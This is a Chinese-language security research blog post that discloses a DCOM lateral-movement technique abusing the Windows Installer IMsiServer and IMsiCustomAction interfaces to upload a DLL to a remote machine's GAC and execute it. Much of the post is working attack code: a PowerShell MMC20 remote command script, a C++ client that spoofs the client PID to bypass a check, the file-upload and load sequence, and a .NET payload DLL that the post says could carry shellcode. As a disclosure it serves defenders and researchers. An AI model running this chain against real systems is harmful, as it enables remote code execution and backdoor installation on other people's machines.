Forget PSEXEC DCOM Upload & Execute Backdoor
执行摘要
本博文介绍了一种强大的新型 DCOM 横向移动攻击方法,该方法允许将自定义 DLL 写入目标机器,将其加载到服务中,并使用任意参数执行其功能。这种类似后门的攻击通过逆向其内部结构来滥用 IMsiServer COM 接口。本博文将逐步详细描述这一过程。研究还包括一个可在最新 Windows 版本上演示攻击的概念验证工具。
术语
COM 与 DCOM
组件对象模型 (COM) 是微软用于创建可交互二进制软件组件的标准。DCOM(分布式 COM) 远程协议通过 RPC 将 COM 标准扩展到网络中,提供了在远程计算机上创建、激活和管理对象的功能。
对象、类与接口
在 COM 中,对象是为系统其余部分提供服务的已编译代码的实例。COM 对象的功能取决于其 COM 类实现的接口。
已编译代码被定义为 COM 类,由全局唯一的类 ID(CLSID) 标识,该 ID 将类与其在文件系统中的部署 (DLL 或 EXE) 关联。
可以远程访问的 COM 类 (通过 DCOM) 由另一个全局唯一标识符 (GUID) -AppID 标识。
COM 接口可以被视为一个抽象类。它指定了一个包含实现类必须提供的一组方法的契约。所有 COM 组件之间的通信都通过接口进行,组件提供的所有服务都通过其接口公开,这些接口可以用全局唯一的接口 ID(IID) 表示。一个 COM 类可以实现多个 COM 接口,接口也可以从其他接口继承。
COM 接口作为 C++ 类
接口的 C++ 实现是通过类完成的。C++ 类被实现为一个结构体,其第一个成员指向该类支持的成员函数数组。这个数组被称为虚函数表,简称 vtable。
图 1: COM 接口和虚函数表
DCOM 研究历史
通过 DCOM 进行横向移动在网络安全领域是一个众所周知的"手法",可以追溯到 2017 年,当时Matt Nelson[1] 首次揭示了滥用MMC20.Application::ExecuteShellCommand 在远程系统上运行命令的方法。使用 Matt 设计的研究流程[2],研究人员发现了更多 DCOM 对象[3],它们在远程机器上暴露了执行原语,其中包括:
-
ShellBrowserWindow揭示了ShellExecuteW, Navigate,和Navigate2
-
Excel.Application揭示了ExecuteExcel4Macro, RegisterXLL
-
Outlook.Application揭示了CreateObject
这个研究过程甚至被自动化[4],随着时间推移,由于发现的攻击越来越少,似乎大部分 DCOM 攻击面都已被映射。在这篇博文中,我将解释如何通过测试这个研究过程来发现新的 DCOM 横向移动攻击方法。
研究 DCOM 的已知方法
寻找新的 DCOM 横向移动方法遵循以下步骤:
-
在机器上搜索具有默认启动和访问权限的 AppID
-
James Forshaw 的OleView .NET[5] 工具关联了这些数据和其他有用信息 -
通过上述标准找到的 AppID 代表了具有本地管理员权限的用户可以远程访问的 DCOM 对象
-
探索可疑对象,传统上使用 PowerShell,它可以轻松访问对象创建、显示接口方法和属性,并调用它们
-
重复上述步骤,直到找到可以运行自定义代码的方法
这里我正在应用这些步骤来实现已知的MMC20.Application::ExecuteShellCommand 横向移动攻击:
-
AppID7E0423CD-1119-0928-900C-E6D4A52A0715,它托管MMC20.Application 类,具有默认权限
图 2: MMC 默认权限
-
上述 AppID 映射到 CLSID49B2791A-B1AE-4C90-9B8E-E860BA07F889
-
在 PowerShell 中探索从上述 CLSID 创建的对象:
PS C:> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")
PS C:> $mmcApp = [System.Activator]::CreateInstance($com)
PS C:> Get-Member-InputObject$mmcApp
TypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}
名称 | 成员类型 | 定义 |
|
|
|
|
|
|
|
|
|
-
对发现的属性重复查询,揭示了允许远程代码执行的方法ExecuteShellCommand
PS C:> Get-Member-InputObject$mmcApp.Document.ActiveView
TypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}
名称 | 成员类型 | 定义 |
|
|
|
|
|
|
|
|
|
-
最后,我们创建一个 DCOM 会话并调用我们发现的方法来完成攻击。
<# MMCExec.ps1 #>
$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")
$mmcApp = [System.Activator]::CreateInstance($com)
$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:filefolder",$null, 0)
寻找新的攻击方法
使用这个方法,我开始寻找新的 DCOM 横向移动攻击。以下是我的发现:
-
AppID000C101C-0000-0000-C000-000000000046 具有默认权限,OleView .NET 揭示了以下细节:
-
托管在 Windows Installer 服务 (msiexec.exe) 上
-
托管一个名为"Msi install server"的 COM 对象,其 CLSID 等于 AppID
-
该对象暴露了一个名为IMsiServer 的接口,其 IID 等于 AppID
-
该类和接口在msi.dll 中实现 (由ProxyStubClsid32 注册表键指向)
图 3: Msi Install Server
图 4: Msi install server 默认权限
-
该对象的名称及其在安装程序服务中的位置引起了我的兴趣,因此我继续使用 PowerShell 查询其方法:
PS C:> $com = [Type]::GetTypeFromCLSID("000C101C-0000-0000-C000-000000000046")
PS C:> $obj = [System.Activator]::CreateInstance($com)
PS C:> Get-Member-InputObject$obj
TypeName: System.__ComObject
名称 | 成员类型 | 定义 |
|
|
System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType) |
|
|
|
|
|
|
结果显示了通用的 .NET 对象方法,而"TypeName"字段并未指向IMsiServer IID。这意味着 PowerShell 运行时未能查询到IMsiServer 对象的信息;我们无法通过这种方式寻找攻击方法。
我们之前成功的 MMC20.Application 示例与当前的IMsiServer 的区别在于IDispatch 接口,前者实现了该接口而后者没有。
图 5:MMC20.Application 与 Msi install server 的对比
IDispatch
IDispatch 是一个基础的 COM 接口,它允许脚本语言(VB、PowerShell)和高级语言(.NET)无需预先了解就能与实现它的 COM 对象进行交互。它通过暴露统一的方法来描述和与实现对象交互来实现这一点。这些方法包括:
-
IDispatch::GetIDsOfNames 将方法或属性的名称映射到一个称为 DISPID 的整数值。
-
IDispatch::Invoke 根据 DISPID 调用对象的某个方法。
所有已知的 DCOM 横向移动攻击都建立在有文档记录的基于 IDispatch 的接口之上,这使得通过 PowerShell 进行交互变得容易。与 IDispatch 接口交互的便利性使安全社区忽视了大量可能的攻击。
为了解决这个问题并继续研究缺乏文档且不支持 IDispatch 的IMsiServer,我们需要设计一种不依赖 PowerShell 的替代方法。
逆向接口定义
要了解更多关于IMsiServer 的信息,我们必须检查包含接口定义的 DLL - msi.dll:
-
使用 IDA 在 msi.dll 中搜索代表IMsiServer IID 的十六进制字节 -1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46,我们找到了一个名为IID_IMsiServer 的符号。
图 6:IDA 字节搜索
图 7:结果符号
-
交叉引用IID_IMsiServer,我们找到了CMsiServerProxy::QueryInterface,这是IMsiServer 接口客户端实现的一部分。
-
交叉引用CMsiServerProxy::QueryInterface 在 .rdata 段中揭示了接口的虚函数表:
图 8:CMsiServerProxy::`vftable'
通过这些数据和一些额外的定义[6],我重建了 IMsiServer 接口:
structIMsiServer : IUnknown
{
virtual iesEnum InstallFinalize( iesEnum iesState, void* riMessage, boolean fUserChangedDuringInstall)= 0;
virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode, constwchar_t* szPath, boolean fAddToList, boolean fPatch)= 0;
virtual boolean Reboot()= 0;
virtualintDoInstall( ireEnum ireProductCode, const ICHAR* szProduct, const ICHAR* szAction,const ICHAR* szCommandLine, const ICHAR* szLogFile,int iLogMode, boolean fFlushEachLine, IMsiMessage* riMessage, iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& )= 0;
virtual HRESULT IsServiceInstalling()= 0;
virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode, const ICHAR* szUserName,const ICHAR* szCompany, const ICHAR* szProductID)= 0;
virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry)= 0;
virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag)= 0;
virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType)= 0;
virtual HRESULT SourceListAddSource( const ICHAR* szProductCode, const ICHAR* szUserName, isrcEnum isrcType,const ICHAR* szSource)= 0 ;
virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode, const ICHAR* szUserName)= 0;
virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext, constunsignedchar* rgchCookie, constint cbCookie, IMsiCustomAction* piCustomAction, unsignedlong* dwProcessId, IMsiRemoteAPI** piRemoteAPI, DWORD* dwPrivileges)= 0;
virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext, constunsignedlong dwProcessId, IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment, DWORD cchEnvironment, DWORD dwPrivileges, char* rgchCookie, int* cbCookie, IMsiCustomAction** piCustomAction, unsignedlong* dwServerProcessId,DWORD64 unused1, DWORD64 unused2)= 0;
[snip]
}
远程安装?
DoInstall 函数立即引起注意,它是执行横向移动的一个很有前途的候选者 - 在远程机器上安装 MSI。然而,检查其服务器端实现CMsiConfigurationManager::DoInstall 后发现,远程执行是不可能的:
// Simplified pseudo code
CMsiConfigurationManager::DoInstall([snip])
{
[snip]
if (!OpenMutexW(SYNCHRONIZE, 0, L"Global\_MSIExecute"))
return ERROR_INSTALL_FAILURE;
[snip]
}
这段代码表明,当调用IMsiServer::DoInstall 的 DCOM 请求时,远程服务器会检查名为 _GlobalMSIExecute 的互斥锁是否存在。由于这个互斥锁默认是未打开的,因此调用会失败。
Msi.dll 通过我们的IMsiServer 接口无法访问的函数创建这个互斥锁,所以我们必须寻找其他方法来利用IMsiServer。
远程自定义操作
我的第二个滥用候选对象是:
HRESULT IMsiServer::CreateCustomActionServer(
const icacCustomActionContext icacContext,
constunsignedlong dwProcessId,
IMsiRemoteAPI* piRemoteAPI,
const WCHAR* pvEnvironment,
DWORD cchEnvironment,
DWORD dwPrivileges,
char* rgchCookie,
int* cbCookie,
IMsiCustomAction** piCustomAction,
unsignedlong* dwServerProcessId,
bool unkFalse);
它创建了输出 COM 对象IMsiCustomAction** piCustomAction,根据其名称,该对象可以在远程目标上调用"自定义操作"。
通过逆向分析服务器端代码CMsiConfigurationManager::CreateCustomActionServer,我们发现它会模拟 DCOM 客户端的身份,并以该身份创建一个子进程MSIEXEC.exe,该进程承载了结果对象IMsiCustomAction** piCustomAction。
在msi.dll 中搜索IMsiCustomAction 的符号可以发现其 IID:
图 9:IDA 中的 IID_IMsiCustomAction 符号
使用该符号执行与发现IMsiServer 时相同的交叉引用,我们可以重建IMsiCustomAction 的接口定义:
IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
// Interface is trimmed for simplicty
struct IMsiCustomAction : IUnknown
{
virtual HRESULT PrepareDLLCustomAction(ushort const *,ushort const *,ushort const *,ulong,uchar,uchar,_GUID const *,_GUID const *,ulong *)=0;
virtual HRESULT RunDLLCustomAction(ulong,ulong *) = 0;
virtual HRESULT FinishDLLCustomAction(ulong) = 0;
virtual HRESULT RunScriptAction(int,IDispatch *,ushort const *,ushort const *,ushort,int *,int *,char **) = 0;
[snip]
virtual HRESULT URTAddAssemblyInstallComponent(ushort const*,ushort const*, ushort const*) = 0;
virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0;
virtual HRESULT URTProvideGlobalAssembly(ushort const*, ulong, ulong*) = 0;
virtual HRESULT URTCommitAssemblies(ushort const*, int*, char**) = 0;
virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0;
virtual HRESULT URTGetAssemblyCacheItem(ushort const*, ushort const*, ulong, int*, char**) = 0;
virtual HRESULT URTCreateAssemblyFileStream(ushort const*, int) = 0;
virtual HRESULT URTWriteAssemblyBits(char *,ulong,ulong *) = 0;
virtual HRESULT URTCommitAssemblyStream() = 0;
[snip]
virtual HRESULT LoadEmbeddedDLL(ushort const*, uchar) = 0;
virtual HRESULT CallInitDLL(ulong,ushort const *,ulong *,ulong *) = 0;
virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0;
virtual HRESULT CallShutdownDLL(ulong*) = 0;
virtual HRESULT UnloadEmbeddedDLL() = 0;
[snip]
};
从名称如RunScriptAction 和RunDLLCustomAction 来看,IMsiCustomAction 可能就是我们寻找的宝藏。但在使用它之前,我们需要先通过 DCOM 调用IMsiServer::CreateCustomActionServer 来创建它。让我们构建攻击客户端:
// Code stripped from remote connection and ole setupCOSERVERINFO coserverinfo = {};
coserverinfo.pwszName = REMOTE_ADDRESS;
coserverinfo.pAuthInfo = pAuthInfo_FOR_REMOTE_ADDRESS;
CLSID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
IID IID_IMsiServer = CLSID_MsiServer;
MULTI_QI qi ={};
qi.pIID = &IID_IMsiServer; // the interface we aim to get
HRESULT hr = CoCreateInstanceEx(CLSID_MsiServer, NULL, CLSCTX_REMOTE_SERVER, &coserverinfo, 1, &qi) ;
IMsiServer* pIMsiServerObj = qi.pItf;
此时pIMsiServerObj 指向我们的客户端IMsiServer 接口。现在我们需要为IMsiServer::CreateCustomActionServer 创建正确的参数
重要参数:
-
dwProcessId 应包含客户端 PID,并在服务器端被视为本地 PID。如果我们提供真实的客户端 PID,服务器端将无法在远程目标上找到它,调用将失败。我们可以通过设置dwProcessId=4 来绕过这个检查,指向永远存在的System 进程
-
PiRemoteAPI 应指向IMsiRemoteAPI 实例,这是最棘手的初始化部分。通过搜索 msi.dll 中的符号,我们找到了该接口的 IID
图 10: IDA 中 IID_IMsiRemoteAPI 的符号
IIDIID_IMsiRemoteApi= { 0x000c1033,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
然而,由于CLSID_MSISERVER 并未实现IID_IMsiRemoteApi 接口,我们无法通过以下调用直接创建它:
HRESULT hr = CoCreateInstance(CLSID_MSISERVER, NULL, CLSCTX_INPROC_SERVER, IID_IMsiRemoteApi ,&piRemoteAPI) ;
发现实现的 CLSID
提示:本节涵盖了一个技术逆向工程过程。我们将演示如何正确调用IMsiServer::CreateCustomActionServer。如果你对详细的深入分析不感兴趣,可以直接跳到"安全操作"部分。
要创建IMsiRemoteApi 的实例,我们需要找到实现它的类的CLSID。首先在 msi.dll 中搜索名为CLSID_MsiRemoteApi 的符号。然而,这次没有返回任何结果:
图 11:搜索 CLSID_MsiRemoteApi 无结果
我们只能尝试通过交叉引用来追踪IID_IMsiRemoteApi 在 msi.dll 中的创建位置:
-
交叉引用IID_IMsiRemoteApi,我们找到了作为IMsiRemoteApi 接口一部分的CMsiRemoteAPI::QueryInterface
-
搜索CMsiRemoteAPI::QueryInterface 引导我们找到 .rdata 段中的IMsiRemoteApi 虚表,它标记有名为 _??7CMsiRemoteAPI@@6B@ 的符号
图 12:CMsiRemoteAPI::`vftable'
-
搜索 _??7CMsiRemoteAPI@@6B@ 引导我们找到CMsiRemoteAPI::CMsiRemoteAPI,这是IMsiRemoteApi 实例的构造函数
-
搜索构造函数引导我们找到CreateMsiRemoteAPI,这是一个调用它的工厂方法
-
搜索工厂方法显示它是名为rgFactory 的工厂方法数组中的第9个元素,这些方法位于 .rdata 段:
图 13:rgFactory
-
搜索rgFactory 的使用显示它在CModuleFactory::CreateInstance 中被使用:
图 14:CModuleFactory::CreateInstance 的反编译伪代码
我们可以看到CModuleFactory::CreateInstance 从rgFactory 中获取指定索引处的方法并调用它来创建对象,然后通过outObject 返回。
如果在相同的索引处,从rgCLSID 中获取的 GUID(代码片段中的绿线)等于输入参数GUID *inCLSID,就会发生这种情况。
rgCLSID 是一个全局变量,指向 .rdata 段中的一个 CLSID 数组
图 15:rgCLSID 片段
这个数组中的第 9 个元素,将导致调用CreateMsiRemoteAPI(rgFactory 的第 9 个成员),就是这个 CLSID:
CLSIDCLSID_MsiRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };
这意味着如果使用CLSID_MsiRemoteApi 调用CModuleFactory::CreateInstance,它将创建我们所需的IMsiRemoteAPI* piRemoteAPI 实例。
现在我们需要从客户端代码调用CModuleFactory::CreateInstance。
IClassFactory
虽然CModuleFactory::CreateInstance 不是公开导出的,但通过交叉引用可以找到CModuleFactory 的虚表:
图 16:CModuleFactory 的虚表
虚表中的第一个方法是QueryInterface 的实现,这表明CModuleFactory 是一个接口实现。接下来的两个 Nullsub 是IUnkown::AddRef 和IUnkown::Release 的空实现,再接下来的两个方法是:
-
CreateInstance(我们已经逆向分析过的)
-
LockServer
在MSDN[7] 中搜索这些方法,发现了IClassFactory,这是一个定义了在实现 DLL 中创建 COM 对象的工厂设计模式的接口。这个接口的功能通过一个名为DllGetClassObject 的方法访问,该方法由实现的 DLL(包括msi.dll)导出。
以下是我们如何调用msi.dll!DllGetClassObject 来创建目标IMsiRemoteAPI* piRemoteAPI:
// code stripped from error handling
typedef HRESULT(*DllGetClassObjectFunc)(
REFCLSID rclsid,
REFIID riid,
LPVOID* ppv
);
// we dont need the definition of IMsiRemoteApi if we just want to instantiate it
typedef IUnknown IMsiRemoteApi;
HMODULE hmsi = LoadLibraryA("msi.dll");
IClassFactory* pfact;
IUnknown* punkRemoteApi;
IMsiRemoteApi* piRemoteAPI;
DllGetClassObjectFunc DllGetClassObject = (DllGetClassObjectFunc)GetProcAddress(hdll, "DllGetClassObject");
// creating the CLSID_MsiRemoteApi class
HRESULT hr = DllGetClassObject(CLSID_MsiRemoteApi, IID_IClassFactory, (PVOID*)&pfact);
// piRemoteAPI initilized to IMsiRemoteApi*
hr = pfact->CreateInstance(NULL, CLSID_MsiRemoteApi, (PVOID*)&punkMsiRemoteApi);
hr = punkMsiRemoteApi->QueryInterface(IID_IMsiRemoteApi, reinterpret_cast<void**>(piRemoteAPI));
现在我们可以调用IMsiServer::CreateCustomActionServer 来创建目标IMsiCustomAction** piCustomAction 实例:
IMsiRemoteAPI* pRemApi = // created above;
const int cookieSize = 16; // a constant size CreateCustomActionServer anticipates
icacCustomActionContext icacContext = icac64Impersonated; // an enum value
const unsigned long fakeRemoteClientPid = 4;
unsigned long outServerPid = 0;
IMsiCustomAction* pMsiAction = nullptr; // CreateCustomActionServer's output
int iRemoteAPICookieSize = cookieSize;
char rgchCookie[cookieSize];
WCHAR* pvEnvironment = GetEnvironmentStringsW();
DWORD cEnv = GetEnvironmentSizeW(pvEnvironment);
HRESULT msiresult = pIMsiServerObj->CreateCustomActionServer(icacContext, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction,&outServerPid,0, 0);
安全操作
我们新创建的IMsiCustomAction* pMsiAction 允许我们从远程 MSIEXEC.EXE 进程运行"自定义操作",现在我们的重点是从IMsiCustomAction 中找到一个可以执行代码的方法 - 这将为我们提供一个新的横向移动技术。
正如我们之前所见,IMsiCustomAction 包含一些很有前途的函数名,比如RunScriptAction 和RunDLLCustomAction。
逆向分析这些函数发现,它们允许加载并运行我们选择的 DLL 导出函数,或者执行内存中的自定义脚本内容 (VBS 或 JS)!这看起来好得难以置信?确实如此。
Windows 通过在这些函数开始时进行简单的检查,阻止了在远程 DCOM 上下文中调用此功能:
if(RPCRT4::I_RpcBindingInqLocalClientPID(0, &OutLocalClientPid)&&
OutLocalClientPid != RegisteredLocalClientPid)
{
return ERROR_ACCESS_DENIED;
}
事实证明,当客户端处于远程状态(在 DCOM 会话期间)时,I_RpcBindingInqLocalClientPID 会失败,我们被阻止了。
我们需要寻找不存在此安全检查的函数。
不安全的加载原语
我们现在将通过交叉引用I_RpcBindingInqLocalClientPID 的使用情况,并探索不使用它的IMsiCustomAction 函数,来重点搜索不安全的IMsiCustomAction 方法。
符合这个标准的下一个函数是IMsiCustomAction::LoadEmbeddedDll(wchar_t const* dllPath, bool debug);。
逆向分析这个函数揭示了:
-
LoadEmbeddedDLL 对dllPath 参数调用Loadlibrary 并保存其句柄。
-
尝试从dllPath 解析三个导出函数并保存它们的地址。
-
InitializeEmbeddedUI
-
ShutdownEmbeddedUI
-
EmbeddedUIHandler
-
LoadEmbeddedDLL 在导出函数不存在时不会失败
测试证实我们在远程系统上的每个 DLL 都有一个远程加载原语!
// Loads any DLL path into the remote MSIEXEC.exe instance hosting pMsiAction
pMsiAction->LoadEmbeddedDLL(L"C:WindowsSystem32wininet.dll",false);
这对横向移动来说够用吗?仅靠这个还不够。简单地从目标系统的硬盘加载一个良性的预存在 DLL 并不能让我们控制 DLL 在加载时运行的代码。
然而,如果我们能远程向机器写入一个 DLL 并将其路径提供给LoadEmbeddedDLL,我们就能实现完整的攻击。
一些攻击[8] 在找到这样的原语后会委托责任,并建议通过 SMB 访问单独向机器写入 payload。然而,这种访问方式非常显眼,而且通常会被阻止。
使用IMsiCustomAction,我的目标是找到一个自给自足的远程写入原语来写入目标机器的硬盘。
远程写入原语
IMsiCustomAction 接口中的一些函数名称组合让我相信远程写入原语是可能的:
-
IMsiCustomAction::URTCreateAssemblyFileStream
-
IMsiCustomAction::URTWriteAssemblyBits
对IMsiCustomAction::URTCreateAssemblyFileStream 的逆向分析表明,在它之前必须运行几个初始化函数。
以下序列将允许我们创建文件流、写入并提交:
1. 下面的函数将初始化调用下一个函数所需的数据
HRESULT IMsiCustomAction::URTAddAssemblyInstallComponent(
wchar_tconst* UserDefinedGuid1,
wchar_tconst* UserDefinedGuid2,
wchar_tconst* UserDefinedName);
2. 以下函数创建了一个IAssemblyCacheItem* 的内部实例,这是一个管理文件流的已文档化对象
HRESULT IMsiCustomAction::URTGetAssemblyCacheItem(
wchar_tconst* UserDefinedGuid1,
wchar_tconst* UserDefinedGuid2,
ulong zeroed,
int* pInt,
char** pStr);
3. 然后URTCreateAssemblyFileStream 调用IAssemblyCacheItem::CreateStream 并使用上述参数创建一个IStream* 实例。未来的文件名将是FileName。它会将IStream* 保存到一个内部变量中。
HRESULT IMsiCustomAction::URTCreateAssemblyFileStream(
wchar_tconst* FileName,
int Format);
4. 下面的函数调用IStream::Write 将const char* pv 中指定的ulong cb 字节数写入文件流,并在pcbWritten 中返回写入的字节数。
HRESULT IMsiCustomAction::URTWriteAssemblyBits(
constchar* pv,
ulong cb, ulong* pcbWritten);
5. 最后,以下函数使用IStream::Commit 将流内容提交到新文件中。
HRESULT IMsiCustomAction::URTCommitAssemblyStream();
我们将准备一个虚拟的payload.dll 文件,并使用之前的函数序列将其上传到目标机器:
char* outc = nullptr;
intouti=0;
LPCWSTRmocGuid1= L"{13333337-1337-1337-1337-133333333337}";
LPCWSTRmocGuid2= L"{13333338-1338-1338-1338-133333333338}";
LPCWSTRasmName= L"payload.dll";
LPCWSTRassmblyPath= L"c:localpathtoyourpayload.dll";
hr = pMsiAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName);
hr = pMsiAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0,&outi ,&outc);
hr = pMsiAction->URTCreateAssemblyFileStream(assmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST);
HANDLEhAsm= CreateFileW(assmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD asmSize, sizeRead;
GetFileSize(hAsm, NULL);
char* content = newchar[asmSize];
readStatus = ReadEntireFile(hAsm, asmSize, &sizeRead, content);
ulongwritten=0;
hr = pMsiAction->URTWriteAssemblyBits(content, asmSize, &written);
hr = pMsiAction->URTCommitAssemblyStream();
整个序列执行成功了,但是我们并不知道payload.dll 被写入到了哪里。
在远程机器上搜索名为payload.dll 的文件可以发现它的路径:
图 17: 在目标机器上搜索 payload.dll 文件
重新运行我们的代码会在类似的路径下生成payload.dll:
图 18: 重新运行后搜索 payload.dll
这些路径的格式是C:assemblytmp[随机 8 个字母]payload.dll。由于随机 8 个字母 无法预测,我们不能直接在该路径上调用我们的加载原语IMsiCustomAction::LoadEmbeddedDll。
我们需要找到一种方法将payload.dll 放在一个可预测的路径中,而IMsiCustomAction 再次帮助了我们。
控制路径
接下来我们逆向分析IMsiCustomAction::URTCommitAssemblies 方法,发现它在流上使用了已文档化的IAssemblyCacheItem::Commit 函数:
该函数将 .NET 程序集安装到全局程序集缓存 (GAC) 中,位于C:WindowsMicrosoft.NETassemblyGAC* 下的可预测路径。这使得使用IMsiCustomAction::URTCommitAssemblies 成为我们的新目标。
存储在 GAC 中的程序集必须使用强名称标识 - 这是使用公钥 - 私钥对创建的签名,用于确保程序集的唯一性。
考虑到这一点,为了成功使用URTCommitAssemblies 并将我们的 payload 放在可预测的路径中,我们将把 payload.dll 更改为具有强名称的 .NET 程序集 DLL:
// example x64 dummy POC for .NET payload.dll
// a strong name should be set for the dll in the VS compilation settings
namespace payload
{
public class Class1
{
public static void DummyNotDLLMain()
{
}
}
}
我们更新代码以在新的 payload 上使用IMsiCustomAction::URTCommitAssemblies 并重新运行:
HRESULT URTCommitAssemblies(wchar_tconst* UserDefinedGuid1, int* pInt, char** pStr);
int outIntCommit = 0;
char* outCharCommit = nullptr;
// mocGuid1 is the same GUID we created for invoking URTAddAssemblyInstallComponent
hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
Payload.dll 现已上传至:
图 19: 执行 URTCommitAssemblies 后 payload.dll 被上传到 GAC 文件夹
根据payload.dll 的强名称详细信息分析此路径中的每个标记,我们得出已安装程序集的 GAC 路径结构 (适用于.NET 版本 >= 4):
C:WindowsMicrosoft.NETassemblyGAC_[程序集位数][程序集名称]v4.0_[程序集版本]__[公钥令牌][程序集名称].dll
可以使用sigcheck.exe (Sysinternals) 和sn.exe[9] (.NET Framework 工具) 从强名称 DLL 中获取这些详细信息
我们已成功将程序集 DLL 安装到 GAC 中的可预测路径并弄清了路径结构。现在让我们将这些工作整合到攻击中:
// resuming from ourlast code snippets
// our payload is the dummy .NET payload.dll
// URTCommitAssemblies commits payload.dll to the GAC
hr = pMsiAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit);
std::wstring payload_bitness = L"64"; //our payload is x64
std::wstring payload_version = L"1.0.0.0"; // sigcheck.exe -n payload.dll
std::wstring payload_assembly_name = L"payload";
std::wstring public_key_token = L"136e5fbf23bb401e"; // sn.exe -T payload.dll
// forging all elements to the GAC path
std::wstring payload_gac_path = std::format(L"C:\Windows\Microsoft.NET\assembly\GAC_{0}\{1}\v4.0_{2}__{3}\{1}.dll", payload_bitness, payload_assembly_name, payload_version,public_key_token);
hr = pMsiAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0);
更新后的攻击代码成功运行,为了确认我们的 payload 已加载到远程 MSIEXEC.exe 中,我们使用 Windbg 断点调试并查询:
图 20: Windbg 确认 payload.dll 已从 GAC 中加载
成功了!但我们还没有完全完成,因为.NET 程序集在本机进程中没有"DllMain"功能,所以目前还没有代码在运行。虽然有几种可能的解决方案,但我们的解决方案是向 payload.dll 程序集添加一个导出函数。至于调用这个导出函数,_IMsiCustomAction_再次为我们提供了支持。
运行.NET 导出函数
如我之前提到的,_IMsiCustomAction::LoadEmbeddedDLL_在加载请求的 DLL 后会尝试解析一些导出函数并保存结果。当使用结果地址搜索代码时,我们发现了三个_IMsiCustomAction_方法,每个方法都会调用加载 DLL 中相应的导出函数:
-
IMsiCustomAction::CallInitDLL调用InitializeEmbeddedUI
-
IMsiCustomAction::CallShutdownDLL调用ShutdownEmbeddedUI
-
IMsiCustomAction::CallMessageDLL调用EmbeddedUIHandler
每个方法都为相应的导出函数提供不同的参数,我们将使用提供最丰富参数集的_IMsiCustomAction::CallInitDLL_:
HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pInitializeEmbeddedUIReturnCode);
// CallInitDLL calls InitializeEmbeddedUI with the following args:
DWORD InitializeEmbeddedUI(ulong intVar, PVOID pVar, ulong* pInt)
ulong intVar 和PVOID pVar 的组合为我们运行 payload 提供了极大的灵活性。例如,PVOID pVar 可以指向我们的 payload 将要执行的 shellcode,而ulong intVar 则是其大小。
在这个概念验证 (POC) 中,我们将在payload.dll 中创建一个简单的InitializeEmbeddedUI 实现,用于显示一个包含攻击者控制内容的消息框。
我们将使用".export" IL 描述符将InitializeEmbeddedUI从我们的程序集导出到本机调用者[10](msi.dll)
现在我们可以展示 payload.dll 的最终概念验证代码:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport; // [DllExport] wraps ".export"
namespace payload
{
public class Class1
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSSendMessage(IntPtr hServer, [MarshalAs(UnmanagedType.I4)] int SessionId, String pTitle, [MarshalAs(UnmanagedType.U4)] int TitleLength, String pMessage, [MarshalAs(UnmanagedType.U4)] int MessageLength, [MarshalAs(UnmanagedType.U4)] int Style, [MarshalAs(UnmanagedType.U4)] int Timeout, [MarshalAs(UnmanagedType.U4)] out int pResponse, bool bWait);
[DllExport]
public static int InitializeEmbeddedUI(int messageSize,[MarshalAs(UnmanagedType.LPStr)] string attackerMessage, IntPtr outPtr)
{
string title = "MSIEXEC - GAC backdoor installed";
IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
// The POC will display a message to the first logged on user in the target
int WTS_CURRENT_SESSION = 1;
int resp = 1;
// Using WTSSendMessage to create a messagebox form a service process at the users desktop
WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTS_CURRENT_SESSION, title, title.Length, attackerMessage, messageSize, 0, 0, out resp, false);
return 1337;
}
}
}
以下是我们的 DCOM 上传和执行攻击的最后几行代码:
// runs after our call to pMsiAction->LoadEmbeddedDLL, loading our payload assembly
ulong ret1, ret2;
std::string messageToVictim = "Hello from DCOM Upload & Execute";
hr = pMsiAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &ret1, &ret2);
运行完整的攻击代码将在远程目标 PC 上弹出一个消息框:
图 21:DCOM 上传和执行客户端命令行
